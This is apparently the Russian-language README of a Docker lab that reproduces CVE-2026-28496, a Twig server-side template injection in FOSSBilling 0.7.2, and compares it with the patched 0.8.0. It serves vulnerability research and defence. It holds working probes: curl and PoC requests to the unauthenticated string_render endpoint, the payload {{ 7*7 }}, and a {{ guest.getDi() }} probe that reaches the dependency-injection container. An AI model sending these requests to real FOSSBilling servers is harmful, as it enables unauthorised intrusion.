
Лаборатория на основе Docker для воспроизведения и проверки CVE-2026-28496, уязвимости инъекции шаблонов на стороне сервера в рендеринге Twig в FOSSBilling, с целями сравнения уязвимой и исправленной версий.
Этот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-28496 — уязвимости серверной инъекции шаблонов, затрагивающей поведение рендеринга шаблонов Twig в FOSSBilling.
FOSSBilling — это бесплатная платформа с открытым исходным кодом для выставления счетов и управления клиентами. Версии до 0.8.0 подвержены небезопасному поведению рендеринга шаблонов Twig, которое может выполнять переданные выражения шаблонов. FOSSBilling 0.8.0 используется в этой лаборатории в качестве исправленной цели для сравнения.
Эта лаборатория сравнивает две версии FOSSBilling:
| Сервис | Версия FOSSBilling | Назначение | URL |
|---|
| vuln | 0.7.2 | Уязвимая цель для сравнения | http://localhost:8081 |
| patched | 0.8.0 | Исправленная цель для сравнения | http://localhost:8082 |
Продемонстрированный путь проверки HTTP в этой локальной лаборатории:```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior
В уязвимой цели вызов API возвращает:```json
{"result":"49","error":null}
В пропатченной цели тот же запрос возвращает:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Эта лабораторная работа проверяет поведение HTTP для уязвимой и пропатченной версий, используя FOSSBilling 0.7.2 и FOSSBilling 0.8.0.
Лабораторная работа намеренно ограничена локальными Docker-сервисами. Она не нацелена на внешние системы и не включает веб-оболочки, вредоносное ПО, персистентность, внешние обратные вызовы, дампы баз данных или разрушительные полезные нагрузки.
## Проверенные факты
| Утверждение | Доказательство | Как проверить в этой лабораторной работе |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 затрагивает версии FOSSBilling до 0.8.0. | Публичные метаданные CVE и advisory указывают, что FOSSBilling до 0.8.0 подвержен Twig SSTI. | Изучите раздел References и сравните уязвимую и пропатченную целевые версии. |
| FOSSBilling 0.7.2 используется как уязвимая цель для сравнения. | Уязвимый сервис собирается из официального Docker-образа `fossbilling/fossbilling:0.7.2`. | Изучите `vuln/Dockerfile` и выполните `docker compose ps -a`. |
| FOSSBilling 0.8.0 используется как пропатченная цель для сравнения. | Пропатченный сервис собирается из официального Docker-образа `fossbilling/fossbilling:0.8.0`. | Изучите `patched/Dockerfile` и выполните `docker compose ps -a`. |
| Уязвимый HTTP-путь — `/api/system/system/string_render`. | Уязвимая цель возвращает JSON с `result: "49"` для `_tpl={{ 7*7 }}`. | Выполните `python3 poc/poc.py --url http://localhost:8081`. |
| Пропатченная цель не демонстрирует такое же HTTP-поведение. | Пропатченная цель возвращает `Unknown API call system/system/string_render`. | Выполните `python3 poc/poc.py --url http://localhost:8082`. |
| PoC работает только через HTTP. | `poc/poc.py` отправляет HTTP POST-запросы и не вызывает Docker, Docker Compose, shell-команды или API контейнеров. | Изучите `poc/poc.py`. |
| Лабораторная работа автоматически устанавливает обе цели FOSSBilling при запуске Docker Compose. | Одноразовые контейнеры-установщики (sidecar) завершают настройку и выходят со статусом 0. | Выполните `docker compose ps -a` и `docker compose logs installer-vuln installer-patched`. |
| Уязвимая цель отображает безвредное Twig-выражение. | HTTP-ответ с порта 8081: `{"result":"49","error":null}`. | Выполните команду PoC для уязвимой цели. |
| Пропатченная цель не отображает то же выражение через проверяемый API-путь. | HTTP-ответ с порта 8082 — ошибка JSON API с кодом `879`. | Выполните команду PoC для пропатченной цели. |
## Допущения и неизвестные
Эта лабораторная работа использует FOSSBilling 0.7.2 в качестве уязвимой цели для сравнения, поскольку публичные исследования уязвимостей указывают, что версии FOSSBilling до 0.8.0 подвержены уязвимости, а 0.7.2 — последняя уязвимая версия, использованная в протестированной цепочке.
Эта лабораторная работа использует FOSSBilling 0.8.0 в качестве пропатченной цели для сравнения, поскольку публичные метаданные advisory определяют 0.8.0 как пропатченную версию.
Эта лабораторная работа сосредоточена на наблюдаемом HTTP-поведении:```text
POST /api/system/system/string_render
с этим JSON-телом:```json {"_tpl":"{{ 7*7 }}"}
Лабораторная работа демонстрирует, что FOSSBilling 0.7.2 выполняет рендеринг переданного Twig-выражения через путь HTTP API, тогда как FOSSBilling 0.8.0 не предоставляет тот же вызов API.
Лабораторная работа не претендует на проверку всех функций рендеринга шаблонов FOSSBilling. CVE-2026-28496 также относится к другим контекстам рендеринга Twig, например к функциям рендеринга шаблонов, доступным внутри приложения.
Лабораторная работа не демонстрирует полную цепочку неаутентифицированного удалённого выполнения кода. Она проверяет неаутентифицированное HTTP-поведение, наблюдаемое на локальной цели FOSSBilling 0.7.2, и сравнивает его с FOSSBilling 0.8.0. Полная публичная цепочка включает дополнительное поведение авторизации API помимо безопасной проверки Twig-выражений, показанной здесь.
Лабораторная работа не демонстрирует:
* удалённое выполнение команд,
* извлечение учётных данных,
* дамп базы данных,
* установку расширений,
* запись произвольных файлов,
* закрепление в системе,
* загрузку веб-шелла,
* внешние обратные вызовы,
* атаки на нелабораторные системы,
* или действия после эксплуатации.
## Сводка о первопричине
Первопричина CVE-2026-28496 — небезопасный рендеринг шаблонов Twig.
FOSSBilling использует Twig для рендеринга динамических шаблонов. В уязвимых версиях переданная строка шаблона может быть передана в логику рендеринга Twig без достаточных ограничений песочницы.
Уязвимое поведение можно кратко описать так:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
Для этого безвредного шаблонного выражения:```twig {{ 7*7 }}
уязвимая цель вычисляет выражение и возвращает:```text
49
Проблема безопасности не ограничивается арифметическими вычислениями. Арифметические вычисления — это лишь безопасный видимый сигнал, используемый в этой лабораторной работе.
Более критичная с точки зрения безопасности проблема заключается в том, что Twig-шаблоны без песочницы могут получать доступ к объектам и методам, представленным в контексте шаблона. Публичные исследования описывают путь с более серьёзными последствиями, когда выполнение Twig-шаблона может добраться до внутренних компонентов приложения, включая контейнер внедрения зависимостей, при наличии подходящих объектов контекста шаблона.
Упрощённая уязвимая модель:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable
Исправленная конструкция в FOSSBilling 0.8.0 устраняет уязвимое поведение. В этой лабораторной работе пропатченная цель больше не предоставляет тестируемый вызов API:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Урок безопасности:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
## Анализ исходного кода
В основе уязвимого HTTP-поведения лежит путь выполнения кода в FOSSBilling 0.7.2.
Метод API получает `_tpl` из данных запроса и передаёт его в системный сервис рендеринга.
Соответствующая уязвимая точка входа:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
Важный поток данных:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()
В FOSSBilling 0.7.2, `renderString()` пытается загрузить предоставленное значение как имя шаблона. Если это не удаётся, он обрабатывает предоставленное значение как строку шаблона и передаёт её в `createTemplateFromString()`.
Упрощённый уязвимый поток:```php
public function renderString($tpl, $try_render, $vars)
{
$twig = $this->di['twig'];
try {
$template = $twig->load($tpl);
$parsed = $template->render($vars);
} catch (\Exception) {
// $twig->load throws an exception when $tpl is a raw template string
$parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
}
return $parsed;
}
Уязвимый приемник — createTemplateFromString():```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
Релевантный с точки зрения безопасности шаблон исходного кода:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
Это объясняет результат уязвимой лабораторной среды:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Уязвимый ответ:```json
{"result":"49","error":null}
Значение 49 доказывает, что предоставленное выражение Twig было выполнено на стороне сервера.
Безопасная полезная нагрузка лабораторной работы использует только арифметику:```twig {{ 7*7 }}
Однако корневая причина более чувствительна с точки зрения безопасности, чем вычисление арифметических выражений. В уязвимых контекстах рендеринга шаблоны Twig могут взаимодействовать с объектами приложения, присутствующими в окружении шаблона. Публичные исследования описывают цепочки более высокого воздействия, где объекты контекста API могут открывать доступ к внутренним компонентам приложения, таким как контейнер внедрения зависимостей.
Проверка регрессии на уровне исходного кода подтвердила более глубокое поведение:```text
FOSSBilling 0.7.2:
{{ guest.getDi() }}
→ DI_VISIBLE
FOSSBilling 0.8.0:
{{ guest.getDi() }}
→ blocked by Twig sandbox policy
Вот почему эту уязвимость лучше всего понимать как небезопасный рендеринг шаблонов, а не просто ошибку вычисления выражений в стиле калькулятора.
FOSSBilling 0.8.0 изменяет уязвимое поведение, усиливая защиту рендеринга строк и удаляя проверенное уязвимое HTTP-поведение.
В исправленной версии рендеринг строк выполняется через рендеринг с учётом песочницы (sandbox-aware rendering), а не прямой рендеринг произвольных строк шаблонов с широкими возможностями Twig.
Исправленный код сервиса вызывает рендерер с учётом песочницы:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );
Изолированный рендерер создаёт и отображает шаблон, но перехватывает нарушения песочницы Twig и преобразует их в контролируемую ошибку приложения:```php
final class SandboxedStringRenderer
{
public static function render(
Environment $twig,
string $content,
array $context = [],
string $name = 'template'
): string {
try {
return $twig->createTemplate($content)->render($context);
} catch (SecurityError $e) {
throw new InformationException(
'%name% contains disallowed Twig syntax: %error%',
[
'%name%' => $name,
'%error%' => $e->getMessage(),
]
);
}
}
}
Политика песочницы по умолчанию блокирует доступ к методам и свойствам:```php $methods = []; $properties = [];
Изменение, связанное с безопасностью:```text
Before:
request-controlled template string
→ Twig createTemplate()
→ render without the patched sandbox boundary
After:
template string rendering
→ SandboxedStringRenderer
→ Twig sandbox policy
→ method/property access denied by default
Для пути публичного HTTP API, протестированного в этой лабораторной работе, FOSSBilling 0.8.0 не предоставляет того же уязвимого вызова API:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
Это даёт два полезных уровня проверки:```text
HTTP behavior validation:
0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
0.8.0 does not expose the same API behavior.
Source/root-cause validation:
0.7.2 allows unsafe Twig rendering behavior.
0.8.0 introduces sandboxed string rendering and blocks method/property access.
Лаборатория держит эти два слоя раздельно:```text HTTP PoC result proves the vulnerable endpoint behavior.
Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
## Архитектура лаборатории
Лаборатория запускает две изолированные установки FOSSBilling с помощью Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
Два сервиса FOSSBilling используют отдельные базы данных и отдельные версии приложения:
| Service | Component | Version / Role |
|---|---|---|
| vuln | FOSSBilling | уязвимое целевое приложение |
| patched | FOSSBilling | пропатченное целевое приложение |
| vuln-db | MariaDB | база данных для уязвимой цели |
| patched-db | MariaDB | база данных для пропатченной цели |
| installer-vuln | curl sidecar | автоустановка уязвимой цели |
| installer-patched | curl sidecar | автоустановка пропатченной цели |
Сервисы, доступные по умолчанию:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
Лабораторный стенд использует фиксированные версии FOSSBilling:
| Target | FOSSBilling version | Expected behavior |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 | 0.7.2 | отображает `{{ 7*7 }}` через уязвимый путь API |
| http://localhost:8082 | 0.8.0 | не демонстрирует то же уязвимое поведение API |
Установочные сайдкары запускаются автоматически во время `docker compose up`. Они инициализируют обе цели FOSSBilling локальными одноразовыми учётными данными базы данных и затем завершают работу.
Лабораторный стенд не создаёт и не изменяет уязвимый маршрут API.
Маршрут `/api/system/system/string_render` предоставляется приложением FOSSBilling в уязвимой цели 0.7.2 после установки. Docker-стенд только устанавливает приложение через обычный процесс установки и затем отправляет HTTP-запрос к существующей конечной точке приложения.
Исправленная цель 0.8.0 возвращает `Unknown API call system/system/string_render`, что подтверждает: тестируемое поведение маршрута исходит от самой версии приложения, а не от маршрута, созданного стендом.
## Требования
* Docker Desktop или Docker Engine
* Docker Compose v2
* Python 3
* Доступ в интернет при первой загрузке Docker-образа
Сторонние пакеты Python не требуются. PoC использует только модули стандартной библиотеки Python.
## Быстрый старт
Запустите стенд из чистого состояния:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Проверьте статус службы:```bash docker compose ps -a
Ожидаемые запущенные службы:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
Ожидаемые завершённые службы установщика:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
Проверьте логи установщика:```bash
docker compose logs installer-vuln installer-patched
Проверьте веб-приложения:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
Выполните HTTP-валидацию уязвимой цели:```bash
python3 poc/poc.py --url http://localhost:8081
Выполните HTTP-проверку пропатченной цели:```bash python3 poc/poc.py --url http://localhost:8082
## PoC Usage
PoC принимает один локальный базовый URL FOSSBilling:```bash
python3 poc/poc.py --url <target_url>
Примеры:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
PoC отправляет этот HTTP-запрос:```text
POST /api/system/system/string_render
Content-Type: application/json
Тело запроса:```json {"_tpl":"{{ 7*7 }}"}
The PoC работает только через HTTP. Он не вызывает Docker, Docker Compose, shell-команды, WP-CLI или API контейнеров.
## Ожидаемые результаты
### Уязвимая цель
Команда:```bash
python3 poc/poc.py --url http://localhost:8081
Ожидаемый сигнал уязвимой цели:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}
===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
### Пропатченная цель
Команда:```bash
python3 poc/poc.py --url http://localhost:8082
Ожидаемый сигнал пропатченной цели:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.
Важное различие заключается в следующем:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49
FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
Валидатор отправляет один HTTP POST-запрос к конечной точке API FOSSBilling:```text /api/system/system/string_render
Тело запроса содержит безобидное выражение Twig:```json
{"_tpl":"{{ 7*7 }}"}
Ожидаемое уязвимое поведение:```text HTTP 200 OK JSON result is "49"
Ожидаемое поведение после исправления:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
Это подтверждает, что уязвимая цель выполняет предоставленный шаблон на стороне сервера.
PoC намеренно использует {{ 7*7 }} вместо разрушительной нагрузки. Цель — безопасно доказать техническое условие:```text
attacker-controlled template input
Для более глубокой проверки первопричины на уровне исходного кода доступ к методам является более убедительным доказательством основной проблемы. Однако публичный PoC в этом репозитории использует более безопасное арифметическое выражение, чтобы не демонстрировать цепочку с высоким уровнем воздействия.
## Ручное воспроизведение HTTP с помощью curl
Уязвимый запрос:```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Ожидаемый результат:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"result":"49","error":null}
Пропатченный зонд:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Ожидаемый результат:```text HTTP/1.1 400 Bad Request Content-Type: application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## Воздействие
Server-Side Template Injection (инъекция шаблонов на стороне сервера) в платформе управления биллингом и клиентами критична с точки зрения безопасности, поскольку приложение может хранить записи о клиентах, данные биллинга, учётные данные серверов, платёжную конфигурацию и управляемую администратором логику автоматизации.
Продемонстрированный лабораторный payload безвреден и лишь вычисляет:```twig
{{ 7*7 }}
Однако лежащий в основе класс уязвимости может быть более серьёзным, когда выполнение шаблонов имеет доступ к объектам приложения, методам или контейнерам сервисов.
Потенциальное реальное воздействие, в зависимости от конфигурации и доступного контекста шаблона, может включать:
Эта лабораторная работа демонстрирует только безопасный сигнал проверки HTTP. Она не демонстрирует доступ к учётным данным, доступ к базе данных, установку расширений, выполнение команд или пост-эксплуатацию.
Возможные индикаторы включают HTTP-запросы к конечной точке API FOSSBilling:```text /api/system/system/string_render
Подозрительный шаблон запроса:```text
POST /api/system/system/string_render
Content-Type: application/json
Индикаторы подозрительного тела запроса:```text _tpl {{ }} Twig syntax
Пример шаблона журнала доступа:```text
POST /api/system/system/string_render
Пример полезной нагрузки JSON:```json {"_tpl":"{{ 7*7 }}"}
Рекомендуемые действия по мониторингу:
* Просмотрите журналы доступа веб-сервера на предмет `/api/system/system/string_render`.
* Просмотрите запросы, содержащие `_tpl` в теле JSON-запросов.
* Просмотрите запросы, содержащие синтаксис Twig, например `{{` и `}}`.
* Просмотрите успешные ответы API, содержащие вывод отрендеренных шаблонов.
* Просмотрите неудачные ответы API на предмет подозрительных попыток рендеринга шаблонов.
* Просмотрите активность администратора, если подозревается эксплуатация.
* Просмотрите изменения конфигурации шаблонов, электронной почты, массовой рассылки и платёжных адаптеров.
* Просмотрите журналы приложения на предмет ошибок рендеринга шаблонов или неожиданных вызовов API.
Идея высокосигнального обнаружения:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
Ещё один высокоинформативный локальный артефакт валидации:```text Request body: {"_tpl":"{{ 7*7 }}"}
Response body: {"result":"49","error":null}
## Рекомендации по устранению уязвимости и обновлению
Обновите FOSSBilling до версии 0.8.0 или новее.
Для производственных сред обновитесь до последнего доступного релиза, а не останавливайтесь на версии, использованной для лабораторного сравнения.
Рекомендуемые меры по смягчению последствий:
* Обновите FOSSBilling до 0.8.0 или новее.
* Убедитесь, что установленная версия не входит в затронутый диапазон.
* Ограничьте публичный доступ к путям административного API, где это возможно.
* Проверьте журналы веб-доступа на запросы к `/api/system/system/string_render`.
* Проверьте шаблоны, шаблоны электронных писем, массовые рассылки и пользовательские платёжные адаптеры на наличие подозрительного синтаксиса Twig.
* Ротируйте секреты при подозрении на эксплуатацию.
* Проверьте записи о клиентах, биллинге, платежах и управлении серверами на предмет несанкционированного доступа.
* Рассматривайте правила WAF или блокировки на обратном прокси как временные меры, а не как замену обновлению.
Уроки инженерной безопасности:
* Не выполняйте рендеринг недоверенных строк шаблонов в привилегированном контексте приложения.
* Не предоставляйте контейнеры сервисов приложения шаблонным контекстам.
* Используйте песочницу для рендеринга шаблонов, управляемых пользователем или администратором.
* Запрещайте доступ к методам и свойствам, если он явно не требуется.
* Обеспечьте явные ошибки авторизации API и отказ по умолчанию (fail closed).
* Относитесь к функциям рендеринга шаблонов как к поверхностям, близким к выполнению кода.
## Полезные команды для проверки
Проверьте статус контейнера:```bash
docker compose ps -a
Проверьте логи установщика:```bash docker compose logs installer-vuln installer-patched
Проверьте веб-сервисы:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
Запустите проверку уязвимого HTTP:```bash python3 poc/poc.py --url http://localhost:8081
Запустите исправленную проверку HTTP:```bash
python3 poc/poc.py --url http://localhost:8082
Ручной уязвимый запрос:```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
Вручную пропатченный запрос:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
Изучите поток уязвимого исходного кода в извлечённом дереве исходников:```bash git checkout 0.7.2
grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
Проверьте пропатченный рендерер песочницы из извлечённого дерева исходного кода:```bash
git checkout 0.8.0
grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
Сохранить доказательства валидации:```bash mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt
python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt
docker compose ps -a
| tee evidence/docker-compose-ps.txt
docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt
Проверьте заголовки ответа FOSSBilling:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
Остановите и удалите контейнеры и сети:```bash docker compose down --remove-orphans
Удалите контейнеры, сети и тома:```bash
docker compose down -v --remove-orphans
Удалите локальные файлы улик, если они были созданы:```bash rm -rf evidence/
## Границы безопасности
Эта лаборатория предназначена только для локальных исследований безопасности и контролируемых демонстраций.
Не запускайте PoC или ручные curl-запросы против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Не используйте в этой лаборатории реальные производственные учётные данные, данные клиентов, платёжные данные, API-ключи или производственные секреты.
Предполагаемая область применения ограничена локальными Docker-сервисами, такими как:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
PoC намеренно ограничен только HTTP и локальной областью действия. Он не вызывает Docker, Docker Compose, shell-команды, WP-CLI или контейнерные API.
Лаборатория не включает полезные нагрузки для:
Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text HTTP request
## Ссылки
* Запись CVE: CVE-2026-28496
https://www.cve.org/CVERecord?id=CVE-2026-28496
* Рекомендация GitHub: GHSA-57mv-jm88-66jc
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* VulnCheck: Обход аутентификации FOSSBilling и Twig SSTI до неаутентифицированного RCE
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* Документация FOSSBilling по Docker
https://docs.fossbilling.org/getting-started/docker/
* Репозиторий FOSSBilling на GitHub
https://github.com/FOSSBilling/FOSSBilling
* Docker-образ FOSSBilling
https://hub.docker.com/r/fossbilling/fossbilling
* Документация Twig: расширение Sandbox
https://twig.symfony.com/doc/3.x/sandbox.html